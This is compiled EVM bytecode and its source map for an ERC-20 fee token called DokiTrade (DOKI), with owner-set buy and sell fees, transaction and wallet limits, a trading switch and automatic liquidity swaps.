0x608060405260043610610129575f3560e01c80637704bab6116100a8578063a8aa1b311161006d578063a8aa1b3114610360578063a9059cbb1461037f578063ac1b129d1461039e578063cb7f97d7146103b3578063dd62ed3e146103d2578063f2fde38b14610416575f80fd5b80637704bab6146102bb578063893d20e8146102d057806395d89b41146103005780639b1b35e11461032c5780639cc3535114610341575f80fd5b80632f54bf6e116100ee5780632f54bf6e146101fd578063313ce5671461022a5780633f4218e01461024557806370a0823114610273578063715018a6146102a7575f80fd5b806306fdde0314610134578063095ea7b31461017757806318160ddd146101a657806323b872dd146101c8578063293230b8146101e7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b50604080518082019091526009815268446f6b69547261646560b81b60208201525b60405161016e91906114fb565b60405180910390f35b348015610182575f80fd5b5061019661019136600461155d565b610435565b604051901515815260200161016e565b3480156101b1575f80fd5b506101ba61044b565b60405190815260200161016e565b3480156101d3575f80fd5b506101966101e2366004611587565b6104bb565b3480156101f2575f80fd5b506101fb610523565b005b348015610208575f80fd5b506101966102173660046115c5565b5f546001600160a01b0391821691161490565b348015610235575f80fd5b506040516009815260200161016e565b348015610250575f80fd5b5061019661025f3660046115c5565b60196020525f908152604090205460ff1681565b34801561027e575f80fd5b506101ba61028d3660046115c5565b6001600160a01b03165f9081526017602052604090205490565b3480156102b2575f80fd5b506101fb610564565b3480156102c6575f80fd5b506101ba60115481565b3480156102db575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161016e565b34801561030b575f80fd5b50604080518082019091526004815263444f4b4960e01b6020820152610161565b348015610337575f80fd5b506101ba60135481565b34801561034c575f80fd5b506101fb61035b3660046115e0565b6105d1565b34801561036b575f80fd5b506004546102e8906001600160a01b031681565b34801561038a575f80fd5b5061019661039936600461155d565b61070d565b3480156103a9575f80fd5b506101ba60125481565b3480156103be575f80fd5b506101fb6103cd366004611609565b610719565b3480156103dd575f80fd5b506101ba6103ec366004611650565b6001600160a01b039182165f90815260186020908152604080832093909416825291909152205490565b348015610421575f80fd5b506101fb6104303660046115c5565b61080d565b5f610441338484610889565b5060015b92915050565b60176020527fd840e16649f6b9a295d95876f4633d3a6b10b55e8162971cf78afd886d5ec89b5461dead5f9081527f43fedf50e12e5c047fbe3576d03ab50250348e9a6030f531ab6d4ce10f5b03035460015491926104b69290916104b091906109ac565b906109ac565b905090565b5f6104c78484846109b7565b6105188433610513856040518060600160405280602881526020016117e1602891396001600160a01b038a165f9081526018602090815260408083203384529091529020549190610eee565b610889565b5060015b9392505050565b5f546001600160a01b031633146105555760405162461bcd60e51b815260040161054c90611687565b60405180910390fd5b6009805460ff19166001179055565b5f546001600160a01b0316331461058d5760405162461bcd60e51b815260040161054c90611687565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b031633146105fa5760405162461bcd60e51b815260040161054c90611687565b5f61061c61271061061686600154610f1990919063ffffffff16565b90610f24565b90505f61063a61271061061686600154610f1990919063ffffffff16565b90505f61065861271061061686600154610f1990919063ffffffff16565b60118490556012839055601381905590505f6106836103e8610616600561067d61044b565b90610f19565b90508084101580156106955750808310155b80156106a15750808210155b6107045760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b606482015260840161054c565b50505050505050565b5f6104413384846109b7565b5f546001600160a01b031633146107425760405162461bcd60e51b815260040161054c90611687565b600c879055600d869055600b859055600e849055600583905560068290556007819055600854610773906001610f24565b60055411158015610793575060085461078d906001610f24565b60065411155b80156107ae57506008546107a8906001610f24565b60075411155b6107045760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b606482015260840161054c565b5f546001600160a01b031633146108365760405162461bcd60e51b815260040161054c90611687565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166108eb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054c565b6001600160a01b03821661094c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054c565b6001600160a01b038381165f8181526018602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61051c82846116bb565b6001600160a01b038316610a1b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054c565b6001600160a01b038216610a7d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054c565b6001600160a01b0383165f90815260176020526040902054811115610afe5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161054c565b6001600160a01b0383165f9081526019602052604090205460ff16158015610b3e57506001600160a01b0382165f9081526019602052604090205460ff16155b15610b835760095460ff16610b835760405162461bcd60e51b815260206004820152600b60248201526a747261646541637469766560a81b604482015260640161054c565b6001600160a01b0383165f9081526019602052604090205460ff16158015610bc357506001600160a01b0382165f9081526019602052604090205460ff16155b8015610bdd57506004546001600160a01b03838116911614155b8015610bf457506001600160a01b03821661dead14155b15610c6c576013546001600160a01b0383165f90815260176020526040902054610c1e9083610f2f565b1115610c6c5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161054c565b6004546001600160a01b03848116911614610d0b5760125481111580610ca957506001600160a01b0383165f9081526019602052604090205460ff165b80610ccb57506001600160a01b0382165f9081526019602052604090205460ff165b610d0b5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b60115481111580610d3357506001600160a01b0383165f9081526019602052604090205460ff165b80610d5557506001600160a01b0382165f9081526019602052604090205460ff165b610d955760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161054c565b6004546001600160a01b038381169116148015610dca57506001600160a01b0383165f9081526019602052604090205460ff16155b15610de7576001600a5f828254610de191906116ce565b90915550505b610df2838383610f3a565b15610e0757610e02600f54610fe9565b5f600a555b6001600160a01b0383165f90815260176020526040902054610e2990826109ac565b6001600160a01b0384165f90815260176020908152604080832093909355601990529081205460ff1615610e5d5781610e68565b610e68848484611159565b6001600160a01b0384165f90815260176020526040902054909150610e8d9082610f2f565b6001600160a01b038085165f8181526017602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ee09085815260200190565b60405180910390a350505050565b5f8184841115610f115760405162461bcd60e51b815260040161054c91906114fb565b505050900390565b5f61051c82846116e1565b5f61051c82846116f8565b5f61051c82846116ce565b601054600f54305f9081526017602052604081205460035491938510159211159060ff16158015610f725750600954610100900460ff165b8015610f80575060095460ff165b8015610f895750815b8015610fad57506001600160a01b0386165f9081526019602052604090205460ff16155b8015610fc657506004546001600160a01b038681169116145b8015610fd65750600254600a5410155b8015610fdf5750805b9695505050505050565b6003805460ff19166001908117909155600e54600d54600c545f936110229360029361067d93919261101c928391610f2f565b90610f2f565b90505f61103e82610616600c5486610f1990919063ffffffff16565b90505f61104b84836109ac565b90504761105782611283565b5f61106247836109ac565b90505f61108461107d600c54886109ac90919063ffffffff16565b8390610f24565b90505f61109c600c5483610f1990919063ffffffff16565b905080156110ae576110ae86826113f6565b600d545f906110c29061067d856002610f19565b90508015611103576015546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611101573d5f803e3d5ffd5b505b478015611143576014546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611141573d5f803e3d5ffd5b505b50506003805460ff191690555050505050505050565b6001600160a01b0382165f9081526019602052604081205460ff1615611182575060115461051c565b5f61118d85856114b1565b111561127c575f6111af6111a186866114b1565b60085461067d908690610f24565b305f908152601760205260409020549091506111cb9082610f2f565b305f81815260176020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121b9085815260200190565b60405180910390a35f600b5411801561123e5750600b5461123c86866114b1565b115b1561126a5761126a3061dead611265600b5461067d60085489610f2490919063ffffffff16565b6109b7565b61127483826109ac565b91505061051c565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f815181106112b6576112b6611717565b60200260200101906001600160a01b031690816001600160a01b031681525050600360019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611327573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061134b919061172b565b8160018151811061135e5761135e611717565b6001600160a01b03928316602091820292909201015260035461138991309161010090041684610889565b60035460405163791ac94760e01b81526101009091046001600160a01b03169063791ac947906113c59085905f90869030904290600401611746565b5f604051808303815f87803b1580156113dc575f80fd5b505af11580156113ee573d5f803e3d5ffd5b505050505050565b60035461141390309061010090046001600160a01b031684610889565b60035460165460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af1158015611485573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114aa91906117b5565b5050505050565b6004545f906001600160a01b03908116908316036114d25750600654610445565b6004546001600160a01b03908116908416036114f15750600554610445565b5060075492915050565b5f6020808352835180828501525f5b818110156115265785810183015185820160400152820161150a565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461155a575f80fd5b50565b5f806040838503121561156e575f80fd5b823561157981611546565b946020939093013593505050565b5f805f60608486031215611599575f80fd5b83356115a481611546565b925060208401356115b481611546565b929592945050506040919091013590565b5f602082840312156115d5575f80fd5b813561051c81611546565b5f805f606084860312156115f2575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561161f575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f8060408385031215611661575f80fd5b823561166c81611546565b9150602083013561167c81611546565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b81810381811115610445576104456116a7565b80820180821115610445576104456116a7565b8082028115828204841417610445576104456116a7565b5f8261171257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561173b575f80fd5b815161051c81611546565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117945784516001600160a01b03168352938301939183019160010161176f565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f606084860312156117c7575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207335c1e5ae2168ace691732f1c75702286f9c9c054873aedf16ef6642c846bda64736f6c63430008150033

3808:9499:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5978:67;;;;;;;;;;-1:-1:-1;6038:5:0;;;;;;;;;;;;-1:-1:-1;;;6038:5:0;;;;5978:67;;;;;;;:::i;:::-;;;;;;;;6202:133;;;;;;;;;;-1:-1:-1;6202:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6202:133:0;1023:187:1;6341:128:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6341:128:0;1215:177:1;12652:309:0;;;;;;;;;;-1:-1:-1;12652:309:0;;;;;:::i;:::-;;:::i;6128:64::-;;;;;;;;;;;;;:::i;:::-;;494:87;;;;;;;;;;-1:-1:-1;494:87:0;;;;;:::i;:::-;549:4;574:5;-1:-1:-1;;;;;563:16:0;;;574:5;;563:16;;494:87;6946:67;;;;;;;;;;-1:-1:-1;6946:67:0;;4015:1;2252:36:1;;2240:2;2225:18;6946:67:0;2110:184:1;5405:44:0;;;;;;;;;;-1:-1:-1;5405:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6692:103;;;;;;;;;;-1:-1:-1;6692:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6775:18:0;6758:7;6775:18;;;:9;:18;;;;;;;6692:103;704:106;;;;;;;;;;;;;:::i;4785:60::-;;;;;;;;;;;;;;;;6475:78;;;;;;;;;;-1:-1:-1;6527:7:0;6545:5;-1:-1:-1;;;;;6545:5:0;6475:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6475:78:0;2299:203:1;6051:71:0;;;;;;;;;;-1:-1:-1;6113:7:0;;;;;;;;;;;;-1:-1:-1;;;6113:7:0;;;;6051:71;;4912:55;;;;;;;;;;;;;;;;9379:539;;;;;;;;;;-1:-1:-1;9379:539:0;;;;;:::i;:::-;;:::i;4212:19::-;;;;;;;;;;-1:-1:-1;4212:19:0;;;;-1:-1:-1;;;;;4212:19:0;;;6801:139;;;;;;;;;;-1:-1:-1;6801:139:0;;;;;:::i;:::-;;:::i;4852:53::-;;;;;;;;;;;;;;;;10265:509;;;;;;;;;;-1:-1:-1;10265:509:0;;;;;:::i;:::-;;:::i;6559:127::-;;;;;;;;;;-1:-1:-1;6559:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6657:18:0;;;6640:7;6657:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6559:127;587:111;;;;;;;;;;-1:-1:-1;587:111:0;;;;;:::i;:::-;;:::i;6202:133::-;6277:4;6284:37;6293:10;6305:7;6314:6;6284:8;:37::i;:::-;-1:-1:-1;6329:4:0;6202:133;;;;;:::o;6341:128::-;6775:9;:18;;;;5229:42;6394:7;6775:18;;;;;6411:8;;6394:7;;6411:56;;6775:18;;6411:29;;:8;:12;:29::i;:::-;:33;;:56::i;:::-;6404:63;;6341:128;:::o;12652:309::-;12750:4;12767:36;12777:6;12785:9;12796:6;12767:9;:36::i;:::-;12814:117;12823:6;12831:10;12843:87;12879:6;12843:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12843:19:0;;;;;;:11;:19;;;;;;;;12863:10;12843:31;;;;;;;;;:87;:35;:87::i;:::-;12814:8;:117::i;:::-;-1:-1:-1;12949:4:0;12652:309;;;;;;:::o;6128:64::-;549:4;574:5;-1:-1:-1;;;;;574:5:0;461:10;563:16;445:38;;;;-1:-1:-1;;;445:38:0;;;;;;;:::i;:::-;;;;;;;;;6172:11:::1;:18:::0;;-1:-1:-1;;6172:18:0::1;6186:4;6172:18;::::0;;6128:64::o;704:106::-;549:4;574:5;-1:-1:-1;;;;;574:5:0;461:10;563:16;445:38;;;;-1:-1:-1;;;445:38:0;;;;;;;:::i;:::-;767:1:::1;751:18:::0;;-1:-1:-1;;;;;;751:18:0::1;::::0;;776:32:::1;::::0;2445:51:1;;;776:32:0::1;::::0;2433:2:1;2418:18;776:32:0::1;;;;;;;704:106::o:0;9379:539::-;549:4;574:5;-1:-1:-1;;;;;574:5:0;461:10;563:16;445:38;;;;-1:-1:-1;;;445:38:0;;;;;;;:::i;:::-;9485:13:::1;9501:29;9524:5;9501:18;9514:4;9501:8;;:12;;:18;;;;:::i;:::-;:22:::0;::::1;:29::i;:::-;9485:45;;9532:19;9554:30;9578:5;9554:19;9567:5;9554:8;;:12;;:19;;;;:::i;:30::-;9532:52;;9586:17;9606:32;9632:5;9606:21;9619:7;9606:8;;:12;;:21;;;;:::i;:32::-;9649:16;:24:::0;;;9675:9:::1;:23:::0;;;9700:11:::1;:23:::0;;;9586:52;-1:-1:-1;;9750:30:0::1;9775:4;9750:20;9768:1;9750:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;9734:46;;9808:5;9799;:14;;:38;;;;;9832:5;9817:11;:20;;9799:38;:60;;;;;9854:5;9841:9;:18;;9799:60;9791:119;;;::::0;-1:-1:-1;;;9791:119:0;;4614:2:1;9791:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;9791:119:0::1;4412:410:1::0;9791:119:0::1;9474:444;;;;9379:539:::0;;;:::o;6801:139::-;6879:4;6886:40;6896:10;6908:9;6919:6;6886:9;:40::i;10265:509::-;549:4;574:5;-1:-1:-1;;;;;574:5:0;461:10;563:16;445:38;;;;-1:-1:-1;;;445:38:0;;;;;;;:::i;:::-;10455:8:::1;:21:::0;;;10478:9:::1;:22:::0;;;10502:10:::1;:18:::0;;;10522:9:::1;:24:::0;;;10548:6:::1;:15:::0;;;-1:-1:-1;10565:15:0;;;-1:-1:-1;10582:20:0;;;-1:-1:-1;10631:11:0;:18:::1;::::0;-1:-1:-1;10631:15:0::1;:18::i;:::-;10621:6;;:28;;:61;;;;-1:-1:-1::0;10664:11:0::1;::::0;:18:::1;::::0;10680:1:::1;10664:15;:18::i;:::-;10653:7;;:29;;10621:61;:98;;;;-1:-1:-1::0;10701:11:0::1;::::0;:18:::1;::::0;10717:1:::1;10701:15;:18::i;:::-;10686:11;;:33;;10621:98;10613:153;;;::::0;-1:-1:-1;;;10613:153:0;;5029:2:1;10613:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;10613:153:0::1;4827:406:1::0;587:111:0;549:4;574:5;-1:-1:-1;;;;;574:5:0;461:10;563:16;445:38;;;;-1:-1:-1;;;445:38:0;;;;;;;:::i;:::-;653:5:::1;:11:::0;;-1:-1:-1;;;;;;653:11:0::1;-1:-1:-1::0;;;;;653:11:0;::::1;::::0;;::::1;::::0;;;671:25:::1;::::0;2445:51:1;;;671:25:0::1;::::0;2433:2:1;2418:18;671:25:0::1;;;;;;;587:111:::0;:::o;9924:335::-;-1:-1:-1;;;;;10017:19:0;;10009:68;;;;-1:-1:-1;;;10009:68:0;;5656:2:1;10009:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;10009:68:0;5454:400:1;10009:68:0;-1:-1:-1;;;;;10096:21:0;;10088:68;;;;-1:-1:-1;;;10088:68:0;;6061:2:1;10088:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;10088:68:0;5859:398:1;10088:68:0;-1:-1:-1;;;;;10167:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;10219:32;;1361:25:1;;;10219:32:0;;1334:18:1;10219:32:0;;;;;;;9924:335;;;:::o;995:98::-;1053:7;1080:5;1084:1;1080;:5;:::i;11219:1425::-;-1:-1:-1;;;;;11316:20:0;;11308:70;;;;-1:-1:-1;;;11308:70:0;;6729:2:1;11308:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;11308:70:0;6527:401:1;11308:70:0;-1:-1:-1;;;;;11397:23:0;;11389:71;;;;-1:-1:-1;;;11389:71:0;;7135:2:1;11389:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;11389:71:0;6933:399:1;11389:71:0;-1:-1:-1;;;;;6775:18:0;;6758:7;6775:18;;;:9;:18;;;;;;11479:6;:27;;11471:88;;;;-1:-1:-1;;;11471:88:0;;7539:2:1;11471:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;11471:88:0;7337:413:1;11471:88:0;-1:-1:-1;;;;;11574:19:0;;;;;;:11;:19;;;;;;;;11573:20;:47;;;;-1:-1:-1;;;;;;11598:22:0;;;;;;:11;:22;;;;;;;;11597:23;11573:47;11570:89;;;11630:11;;;;11622:35;;;;-1:-1:-1;;;11622:35:0;;7957:2:1;11622:35:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:41;8066:18;;11622:35:0;7755:335:1;11622:35:0;-1:-1:-1;;;;;11673:19:0;;;;;;:11;:19;;;;;;;;11672:20;:47;;;;-1:-1:-1;;;;;;11697:22:0;;;;;;:11;:22;;;;;;;;11696:23;11672:47;:77;;;;-1:-1:-1;11744:4:0;;-1:-1:-1;;;;;11723:26:0;;;11744:4;;11723:26;;11672:77;:107;;;;-1:-1:-1;;;;;;11753:26:0;;5229:42;11753:26;;11672:107;11669:216;;;11837:11;;-1:-1:-1;;;;;11800:20:0;;;;;;:9;:20;;;;;;:32;;11825:6;11800:24;:32::i;:::-;11799:49;;11791:92;;;;-1:-1:-1;;;11791:92:0;;8297:2:1;11791:92:0;;;8279:21:1;8336:2;8316:18;;;8309:30;8375:32;8355:18;;;8348:60;8425:18;;11791:92:0;8095:354:1;11791:92:0;11908:4;;-1:-1:-1;;;;;11898:14:0;;;11908:4;;11898:14;11895:119;;11932:9;;11922:6;:19;;:42;;;-1:-1:-1;;;;;;11945:19:0;;;;;;:11;:19;;;;;;;;11922:42;:68;;;-1:-1:-1;;;;;;11968:22:0;;;;;;:11;:22;;;;;;;;11922:68;11914:98;;;;-1:-1:-1;;;11914:98:0;;8656:2:1;11914:98:0;;;8638:21:1;8695:2;8675:18;;;8668:30;-1:-1:-1;;;8714:18:1;;;8707:47;8771:18;;11914:98:0;8454:341:1;11914:98:0;12042:16;;12032:6;:26;;:49;;;-1:-1:-1;;;;;;12062:19:0;;;;;;:11;:19;;;;;;;;12032:49;:75;;;-1:-1:-1;;;;;;12085:22:0;;;;;;:11;:22;;;;;;;;12032:75;12024:105;;;;-1:-1:-1;;;12024:105:0;;8656:2:1;12024:105:0;;;8638:21:1;8695:2;8675:18;;;8668:30;-1:-1:-1;;;8714:18:1;;;8707:47;8771:18;;12024:105:0;8454:341:1;12024:105:0;12157:4;;-1:-1:-1;;;;;12144:17:0;;;12157:4;;12144:17;:41;;;;-1:-1:-1;;;;;;12166:19:0;;;;;;:11;:19;;;;;;;;12165:20;12144:41;12141:75;;;12212:1;12187:13;;:27;;;;;;;:::i;:::-;;;;-1:-1:-1;;12141:75:0;12229:49;12252:6;12260:9;12271:6;12229:22;:49::i;:::-;12226:108;;;12280:24;12292:11;;12280;:24::i;:::-;12330:1;12306:13;:26;12226:108;-1:-1:-1;;;;;12364:17:0;;;;;;:9;:17;;;;;;:29;;12386:6;12364:21;:29::i;:::-;-1:-1:-1;;;;;12344:17:0;;;;;;:9;:17;;;;;;;;:49;;;;12430:11;:19;;;;;;;;12429:20;:74;;12497:6;12429:74;;;12452:42;12468:6;12476:9;12487:6;12452:15;:42::i;:::-;-1:-1:-1;;;;;12537:20:0;;;;;;:9;:20;;;;;;12404:99;;-1:-1:-1;12537:40:0;;12404:99;12537:24;:40::i;:::-;-1:-1:-1;;;;;12514:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12593:43;;;;;;;;;;12621:14;1361:25:1;;1349:2;1334:18;;1215:177;12593:43:0;;;;;;;;11297:1347;11219:1425;;;:::o;1419:240::-;1539:7;1600:12;1592:6;;;;1584:29;;;;-1:-1:-1;;;1584:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1635:5:0;;;1419:240::o;1101:98::-;1159:7;1186:5;1190:1;1186;:5;:::i;1207:98::-;1265:7;1292:5;1296:1;1292;:5;:::i;889:98::-;947:7;974:5;978:1;974;:5;:::i;8071:400::-;8220:11;;8292;;8282:4;8177;6775:18;;;:9;:18;;;;;;8322:6;;8177:4;;8210:21;;;;-1:-1:-1;8264:39:0;;8322:6;;8321:7;:22;;;;-1:-1:-1;8332:11:0;;;;;;;8321:22;:37;;;;-1:-1:-1;8347:11:0;;;;8321:37;:49;;;;;8362:8;8321:49;:73;;;;-1:-1:-1;;;;;;8375:19:0;;;;;;:11;:19;;;;;;;;8374:20;8321:73;:94;;;;-1:-1:-1;8411:4:0;;-1:-1:-1;;;;;8398:17:0;;;8411:4;;8398:17;8321:94;:124;;;;;8436:9;;8419:13;;:26;;8321:124;:142;;;;;8449:14;8321:142;8314:149;8071:400;-1:-1:-1;;;;;;8071:400:0:o;7025:1003::-;4151:6;:13;;-1:-1:-1;;4151:13:0;4160:4;4151:13;;;;;;7149:9:::1;::::0;7134::::1;::::0;7114:8:::1;::::0;4151:6;;7113:54:::1;::::0;7165:1:::1;::::0;7114:45:::1;::::0;7149:9;;7114:30:::1;::::0;;;:12:::1;:15::i;:::-;:19:::0;::::1;:30::i;7113:54::-;7090:77;;7178:32;7213:38;7238:12;7213:20;7224:8;;7213:6;:10;;:20;;;;:::i;:38::-;7178:73:::0;-1:-1:-1;7262:14:0::1;7279:36;:6:::0;7178:73;7279:10:::1;:36::i;:::-;7262:53:::0;-1:-1:-1;7351:21:0::1;7383;7262:53:::0;7383:13:::1;:21::i;:::-;7415:20;7438:41;:21;7464:14:::0;7438:25:::1;:41::i;:::-;7415:64;;7490:19;7511:44;7528:26;7545:8;;7528:12;:16;;:26;;;;:::i;:::-;7511:12:::0;;:16:::1;:44::i;:::-;7490:65;;7566:29;7598:25;7614:8;;7598:11;:15;;:25;;;;:::i;:::-;7566:57:::0;-1:-1:-1;7637:34:0;;7634:103:::1;;7673:61;7686:24;7712:21;7673:12;:61::i;:::-;7793:9;::::0;7747:20:::1;::::0;7770:33:::1;::::0;:18:::1;:11:::0;7786:1:::1;7770:15;:18::i;:33::-;7747:56:::0;-1:-1:-1;7817:16:0;;7814:62:::1;;7843:7;::::0;7835:39:::1;::::0;-1:-1:-1;;;;;7843:7:0;;::::1;::::0;7835:39;::::1;;;::::0;7861:12;;7843:7:::1;7835:39:::0;7843:7;7835:39;7861:12;7843:7;7835:39;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7814:62;7912:21;7947:28:::0;;7944:77:::1;;7985:7;::::0;7977:42:::1;::::0;-1:-1:-1;;;;;7985:7:0;;::::1;::::0;7977:42;::::1;;;::::0;8003:15;;7985:7:::1;7977:42:::0;7985:7;7977:42;8003:15;7985:7;7977:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;7944:77;-1:-1:-1::0;;4169:6:0;:14;;-1:-1:-1;;4169:14:0;;;-1:-1:-1;;;;;;;;7025:1003:0:o;8702:671::-;-1:-1:-1;;;;;8820:22:0;;8796:7;8820:22;;;:11;:22;;;;;;;;8816:54;;;-1:-1:-1;8852:16:0;;8845:23;;8816:54;8916:1;8883:30;8895:6;8903:9;8883:11;:30::i;:::-;:34;8880:471;;;8929:17;8949:59;8977:30;8989:6;8997:9;8977:11;:30::i;:::-;8960:11;;8949:23;;:6;;:10;:23::i;:59::-;9064:4;9046:24;;;;:9;:24;;;;;;8929:79;;-1:-1:-1;9046:39:0;;8929:79;9046:28;:39::i;:::-;9037:4;9019:24;;;;:9;:24;;;;;;;:66;;;;9101:42;;-1:-1:-1;;;;;9101:42:0;;;;;;;9133:9;1361:25:1;;1349:2;1334:18;;1215:177;9101:42:0;;;;;;;;9178:1;9157:10;;:23;:70;;;;;9217:10;;9184:30;9196:6;9204:9;9184:11;:30::i;:::-;:43;9157:70;9154:157;;;9229:80;9247:4;5229:42;9269:39;9297:10;;9269:23;9280:11;;9269:6;:10;;:23;;;;:::i;:39::-;9229:9;:80::i;:::-;9328:21;:6;9339:9;9328:10;:21::i;:::-;9321:28;;;;;8880:471;-1:-1:-1;9359:6:0;8702:671;-1:-1:-1;;8702:671:0:o;10782:431::-;10869:16;;;10883:1;10869:16;;;;;;;;10845:21;;10869:16;;;;;;;;;;-1:-1:-1;10869:16:0;10845:40;;10914:4;10896;10901:1;10896:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;10896:23:0;;;-1:-1:-1;;;;;10896:23:0;;;;;10940:6;;;;;;;;;-1:-1:-1;;;;;10940:6:0;-1:-1:-1;;;;;10940:11:0;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10930:4;10935:1;10930:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;10930:23:0;;;:7;;;;;;;;;:23;10996:6;;10964:53;;10981:4;;10996:6;;;;11005:11;10964:8;:53::i;:::-;11028:6;;:177;;-1:-1:-1;;;11028:177:0;;:6;;;;-1:-1:-1;;;;;11028:6:0;;:57;;:177;;11100:11;;11126:1;;11142:4;;11169;;11189:15;;11028:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10834:379;10782:431;:::o;12973:331::-;13086:6;;13054:53;;13071:4;;13086:6;;;-1:-1:-1;;;;;13086:6:0;13095:11;13054:8;:53::i;:::-;13118:6;;13259;;13118:178;;-1:-1:-1;;;13118:178:0;;13181:4;13118:178;;;11171:34:1;11221:18;;;11214:34;;;13227:1:0;11264:18:1;;;11257:34;;;11307:18;;;11300:34;-1:-1:-1;;;;;13259:6:0;;;11350:19:1;;;11343:44;13280:15:0;11403:19:1;;;11396:35;13118:6:0;;;;;;:22;;13148:9;;11105:19:1;;13118:178:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;::